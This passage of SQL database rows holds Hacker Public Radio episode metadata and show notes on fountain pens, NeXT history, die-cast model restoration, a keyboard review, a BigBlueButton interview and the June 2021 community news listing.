(3092,'2020-06-09','Pens, pencils, paper and ink - 2',1256,'Looking at more writing equipment','<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the second in a short series about pens, pencils, writing paper and ink. In this episode we will look at three more fountain pens (two lower-priced and one around £50), a mechanical pencil and some paper.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr3092/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>Pen brands:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Kaweco\">Kaweco</a> Wikipedia page</li>\r\n<li><a href=\"https://www.mrpen.co.uk/contents/en-uk/d184.html\">Italix</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Uni-ball\">uni-ball</a> Wikipedia page (maker of Kuru Toga)</li>\r\n</ul></li>\r\n<li>Reviews:\r\n<ul>\r\n<li>The Well Appointed Desk: <a href=\"https://www.wellappointeddesk.com/2020/02/pen-review-platinum-prefounte-fountain-pen/\">Platinum Prefounte</a></li>\r\n</ul></li>\r\n<li>Calligraphy Skills\r\n<ul>\r\n<li><a href=\"https://www.calligraphy-skills.com/italic-calligraphy.html\">Italic calligraphy</a></li>\r\n<li><a href=\"https://www.calligraphy-skills.com/italic-lettering.html\">Italic lettering</a></li>\r\n</ul></li>\r\n<li>Paper brands:\r\n<ul>\r\n<li><a href=\"https://www.bloc-rhodia.com/index-en.html\">Rhodia</a></li>\r\n</ul></li>\r\n<li>HPR links:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1941\">hpr1941 :: What’s in my case</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2061\">hpr2061 :: Handwriting</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2273\">hpr2273 :: Fountain Pens</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=3063\">hpr3063 :: Pens, pencils, paper and ink - 1</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,112,1,'CC-BY-SA','fountain pen,mechanical pencil,paper',0,0,1),
(3093,'2020-06-10','Response to Linux Inlaws S01E06 (hpr 3079) on NeXT',430,'Response to Linux Inlaws S01E06 (hpr 3079) regarding NeXT, NeXTSTEP, and what would become Mac OS X.','<p>Some clarification on NeXT as I ramble on about all things NeXT, what would become \"Mac OS X\" (now \"macOS\"), and a harbinger of what was to come.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NeXTSTEP\" class=\"uri\">https://en.wikipedia.org/wiki/NeXTSTEP</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/NeXT_Computer#Legacy\" class=\"uri\">https://en.wikipedia.org/wiki/NeXT_Computer#Legacy</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/OpenStep\" class=\"uri\">https://en.wikipedia.org/wiki/OpenStep</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Rhapsody_(operating_system)\" class=\"uri\">https://en.wikipedia.org/wiki/Rhapsody_(operating_system)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Darwin_(operating_system)\" class=\"uri\">https://en.wikipedia.org/wiki/Darwin_(operating_system)</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/A/UX\" class=\"uri\">https://en.wikipedia.org/wiki/A/UX</a></li>\r\n</ul>',152,0,0,'CC-BY-SA','NeXT, NeXTSTEP, OPENSTEP, Rhapsody, Darwin, MacOSX, OSX, macOS, AUX',0,0,1),
(3098,'2020-06-17','Matchbox Restoration Part 3',191,'In this the 3rd in the series Tony discusses dismantling the castings of the MK10 Jaguar','<h2 id=\"hpr-matchbox-show-episode-3\">HPR Matchbox show Episode 3</h2>\r\n<p>Good day to all in HPR land, this is Tony Hughes coming to you again from Blackpool in the UK. To recap this is the 3rd in a series of shows about my hobby of restoring Matchbox and other Die-cast models. In the first 2 shows I introduced the concept and discussed the tools and other equipment you would need to start this hobby.</p>\r\n<p>In this episode I have decided to return to where it all started with the Matchbox No28 the Jaguar Mk10. Please refer to the show notes for the pictures of the process as we move along. You can see in the first picture the 4 castings used in this process.</p>\r\n<p>Picture 000:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_000.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_000_thumbnail.jpg\" alt=\"Picture 000\" /></a></p>\r\n<p>This is a lovely little casting and is a nice introduction to the techniques used in the process. Also I have several of these that I can strip down to their components and that should give us enough quality parts to reassemble at least one good example, hopefully one or two more.</p>\r\n<p>The next picture shows you the base of the model and that there is a mushroomed post that needs to be drilled out at the rear of the model, the front of the base is retained by a tab, which once the post is removed and the base released, this can be slid forward to free the tab.</p>\r\n<p>Picture 001:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_001.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_001_thumbnail.jpg\" alt=\"Picture 001\" /></a></p>\r\n<p>I drilled out this post. The post is drilled out with a 4mm drill bit, and as you can see in the next picture on this particular casting I was a little over zealous and damaged the base a little, although as it is the base it’s not a major issue.</p>\r\n<p>Picture 003:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_003.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_003_thumbnail.jpg\" alt=\"Picture 003\" /></a></p>\r\n<p>I then released the base by prying it off the remainder of the post with a small flat bladed screwdriver to lever it of the body. This now allowed the removal of the inner plastic forming the seating and holding a small plastic suspension piece. In the next picture you can see the casting without any internals but with the plastic window unit still held in place with another shallow mushroom post.</p>\r\n<p>Picture 005:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_005.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_005_thumbnail.jpg\" alt=\"Picture 005\" /></a></p>\r\n<p>Being very careful not to be too aggressive drilling this mushroom holding the windscreen unit, it is removed, again with a 4mm drill bit, so that a little pressure from a flat blade slid between the roof and the glassing unit will allow it to pop out without it breaking. It usually takes several attempts of a little drilling, trying with the flat blade, then if not coming free, a little more drilling until it pops off.</p>\r\n<p>Picture 006:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_006.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_006_thumbnail.jpg\" alt=\"Picture 006\" /></a></p>\r\n<p>Picture 006x:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_006x.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_006x_thumbnail.jpg\" alt=\"Picture 006x\" /></a></p>\r\n<p>This process was repeated with the other 3 castings and the result is shown in the next picture</p>\r\n<p>Picture 008:<br />\r\n<a href=\"https://hackerpublicradio.org/eps/hpr3098/img_008.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3098/img_008_thumbnail.jpg\" alt=\"Picture 008\" /></a></p>\r\n<p>As you can see the casting on the upper left of the image still has the bonnet (Hood) attached, this would not come off without me risking damaging it, so I was hoping that once the paint is removed that this will help it to come free. You will have to wait for the next instalment to find out what happened next. I’ve got to keep you wanting some more of this rambling tale.</p>\r\n<p>So until next time this is Tony Hughes saying goodbye to all those in HPR land. Keep safe until the next instalment.</p>\r\n',338,114,0,'CC-BY-SA','Matchbox Cars, Diecast Models, Restoration, dismantling the model',0,0,1),
(3094,'2020-06-11','Holy crud! I have a kinesis advantage 2 keyboard!',275,'Sigflup does a review of the Kinesis Advantage 2 keyboard','<h3>Kinesis Advantage 2 Keyboard</h3>\r\n\r\n<p><img src=\"https://theadesilva.com/keyboard.jpg\" alt=\"Kinesis Advantage 2 Keyboard\"/></p>',115,0,0,'CC-BY-SA','keyboards',0,0,1),
(3097,'2020-06-16','Linux Inlaws S01E07 The Big Blue Button',3895,'The lads talk to Fred Dixon, product manager for BigBlueButton.','<p>In this episode our two chaps welcome Fred Dixon, product manager for BigBlueButton, on the show to talk about the project, its history and if it will finally run on Fedora and CentOS.</p>\r\n<p>Surrounding musings include how to hack the GDM login screen, why Martin is <i>not</i> behind the recent Easyjet hack and poxes as well as anti-poxes.</p>\r\n<h2>Shownotes:</h2>\r\n<ul>\r\n<li>BigBlueButton: <a href=\"https://bigbluebutton.org\" target=_blank>https://bigbluebutton.org</a></li>\r\n<li><a href=\"https://www.theregister.co.uk/2020/05/19/easyjet_hack_9million_2000_credit_cards\" target=_blank>The Easyjet hack</a></li>\r\n<li>How to hack the GDM login screen in Focal Fossa: <a href=\"https://github.com/PRATAP-KUMAR/focal_gdm3_login_theme_complete_hack\" target=_blank>https://github.com/PRATAP-KUMAR/focal_gdm3_login_theme_complete_hack</a></li>\r\n<li>The Ubuntu logo for the GDM3 login screen for Focal Fossa and previous Ubuntu versions can be found at: /usr/share/plymouth/ubuntu-logo.png. Simply truncate this to zero bytes and the logo will be gone from the login screen</li>\r\n<li>Virgy\'s open source website: <a href=\"https://www.websiteplanet.com/blog/what-is-open-source-software\" target=_blank>https://www.websiteplanet.com/blog/what-is-open-source-software</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','BigBlueButton, GDM, Focal Fossa, Ubuntu',0,0,1),
(3371,'2021-07-05','HPR Community News for June 2021',3988,'Dave and Ken talk about shows released and comments posted in June 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3347\" target=\"_blank\">3347</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-06-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3347\" target=\"_blank\">Ethical Analysis of Renewable Energy and Conservation</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=383\" target=\"_blank\">Paul Quirk</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3348\" target=\"_blank\">3348</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-06-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3348\" target=\"_blank\">Feedback on the Article by hedorah about HPR</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3349\" target=\"_blank\">3349</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-06-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3349\" target=\"_blank\">Linux Inlaws S01E31: Interview with Paul Ramsey FOSS aficionado and entrepreneur</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3350\" target=\"_blank\">3350</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-06-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3350\" target=\"_blank\">Blending Layers</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3351\" target=\"_blank\">3351</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-06-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3351\" target=\"_blank\">HPR Community News for May 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3352\" target=\"_blank\">3352</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-06-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3352\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 4</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3353\" target=\"_blank\">3353</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-06-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3353\" target=\"_blank\">My terminal journey, part 01.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3354\" target=\"_blank\">3354</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-06-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3354\" target=\"_blank\">My Devices</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3355\" target=\"_blank\">3355</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-06-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3355\" target=\"_blank\">Tiki Hell</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3356\" target=\"_blank\">3356</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-06-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3356\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3357\" target=\"_blank\">3357</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-06-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3357\" target=\"_blank\">My terminal journey, part 02.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3358\" target=\"_blank\">3358</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-06-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3358\" target=\"_blank\">BlastEm! A wicked awesome Sega Genesis/Megadrive emulator</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=115\" target=\"_blank\">sigflup</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3359\" target=\"_blank\">3359</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-06-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3359\" target=\"_blank\">Linux Inlaws S01E32: Politicians and artificial intelligence part 3</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3360\" target=\"_blank\">3360</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-06-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3360\" target=\"_blank\">Android Malware Alert</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3361\" target=\"_blank\">3361</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-06-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3361\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 6</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3362\" target=\"_blank\">3362</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-06-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3362\" target=\"_blank\">Spam Bot Honey Pot: Eating your own dog food</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3363\" target=\"_blank\">3363</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-06-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3363\" target=\"_blank\">Electronics podcasts I listen to</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3364\" target=\"_blank\">3364</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-06-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3364\" target=\"_blank\">Part One - all the covid crap</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3365\" target=\"_blank\">3365</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-06-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3365\" target=\"_blank\">Diablo 2 Portable and Modding</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3366\" target=\"_blank\">3366</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-06-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3366\" target=\"_blank\">HPR 2020 - 2021 New Years Eve Show Episode 7</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3367\" target=\"_blank\">3367</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-06-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3367\" target=\"_blank\">Making books with linux - part 1</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3368\" target=\"_blank\">3368</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-06-30</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3368\" target=\"_blank\">Infosec Podcasts Part 4 - Social Engineering Podcasts</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=394\" target=\"_blank\">Trey</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 7 comments on\n5 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3263#comments\" target=\"_blank\">hpr3263</a></strong>\n(2021-02-03) \"<em>My Beginnings in Tech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=390\" target=\"_blank\">o9l</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3263#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2021-06-03:\n\"Welcome to HPR\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3329#comments\" target=\"_blank\">hpr3329</a></strong>\n(2021-05-06) \"<em>Linux Inlaws S01E29: The (one and only) Linux Kernel Contributor Panel</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3329#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-06-05:\n\"Who ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3342#comments\" target=\"_blank\">hpr3342</a></strong>\n(2021-05-25) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3342#2\" target=\"_blank\">Comment 2</a>:\ncrvs on 2021-06-24:\n\"thank you for the reminder\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3343#comments\" target=\"_blank\">hpr3343</a></strong>\n(2021-05-26) \"<em>The Forth programming language</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3343#1\" target=\"_blank\">Comment 1</a>:\ncagey on 2021-06-02:\n\"My experience with Forth (at SAO)\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3343#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2021-06-06:\n\"What does SAO stand for?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3345#comments\" target=\"_blank\">hpr3345</a></strong>\n(2021-05-28) \"<em>Audio for Podcasting: Episode 2 - Equalization</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=270\" target=\"_blank\">Thaj Sara</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3345#1\" target=\"_blank\">Comment 1</a>:\narcher72 on 2021-06-03:\n\"Another great episode.\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3345#2\" target=\"_blank\">Comment 2</a>:\nTrey on 2021-06-08:\n\"Thank you.\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 16 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3348#comments\" target=\"_blank\">hpr3348</a></strong>\n(2021-06-02) \"<em>Feedback on the Article by hedorah about HPR</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3348#1\" target=\"_blank\">Comment 1</a>:\nHawkinsTheWizard on 2021-06-02:\n\"hpr3348 feedback\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3348#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2021-06-02:\n\"I was trying to remember \"This American Life\"\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3352#comments\" target=\"_blank\">hpr3352</a></strong>\n(2021-06-08) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 4</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3352#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3353#comments\" target=\"_blank\">hpr3353</a></strong>\n(2021-06-09) \"<em>My terminal journey, part 01.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#1\" target=\"_blank\">Comment 1</a>:\nFXB on 2021-06-09:\n\"Good listening.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#2\" target=\"_blank\">Comment 2</a>:\njezra on 2021-06-09:\n\"Hey, that\'s how I learned!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#3\" target=\"_blank\">Comment 3</a>:\nTrey on 2021-06-11:\n\"Well done!  Keep up the great work!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#4\" target=\"_blank\">Comment 4</a>:\narcher72 on 2021-06-11:\n\"Good to hear this one\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#5\" target=\"_blank\">Comment 5</a>:\nSome Guy On The Internet on 2021-06-16:\n\"Giving Thanks.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#6\" target=\"_blank\">Comment 6</a>:\nsesamemucho on 2021-06-19:\n\"Nice\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#7\" target=\"_blank\">Comment 7</a>:\nfrank on 2021-06-30:\n\"Comments and feedback on your show (part 1)\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3353#8\" target=\"_blank\">Comment 8</a>:\nfrank on 2021-06-30:\n\"Comments and feedback on your show (part 2)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3356#comments\" target=\"_blank\">hpr3356</a></strong>\n(2021-06-14) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3356#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3356#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2021-06-14:\n\"Nice show, but too long\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3357#comments\" target=\"_blank\">hpr3357</a></strong>\n(2021-06-15) \"<em>My terminal journey, part 02.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3357#1\" target=\"_blank\">Comment 1</a>:\nbjb on 2021-06-29:\n\"hpr3357 :: My terminal journey, part 02. - feedback/comment\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3361#comments\" target=\"_blank\">hpr3361</a></strong>\n(2021-06-21) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 6</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3361#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3366#comments\" target=\"_blank\">hpr3366</a></strong>\n(2021-06-28) \"<em>HPR 2020 - 2021 New Years Eve Show Episode 7</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=269\" target=\"_blank\">Honkeymagoo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3366#1\" target=\"_blank\">Comment 1</a>:\nHonkeymagoo on 2021-05-11:\n\"Thanking\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-June/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-June/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"condolences\">Condolences</h3>\n<p>Our deepest condolences to Randy Noseworthy on the loss of his wife.</p>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 100 additional shows in the range 1-870 have been uploaded.</p>\n<p>Since we don\'t want to upload shows 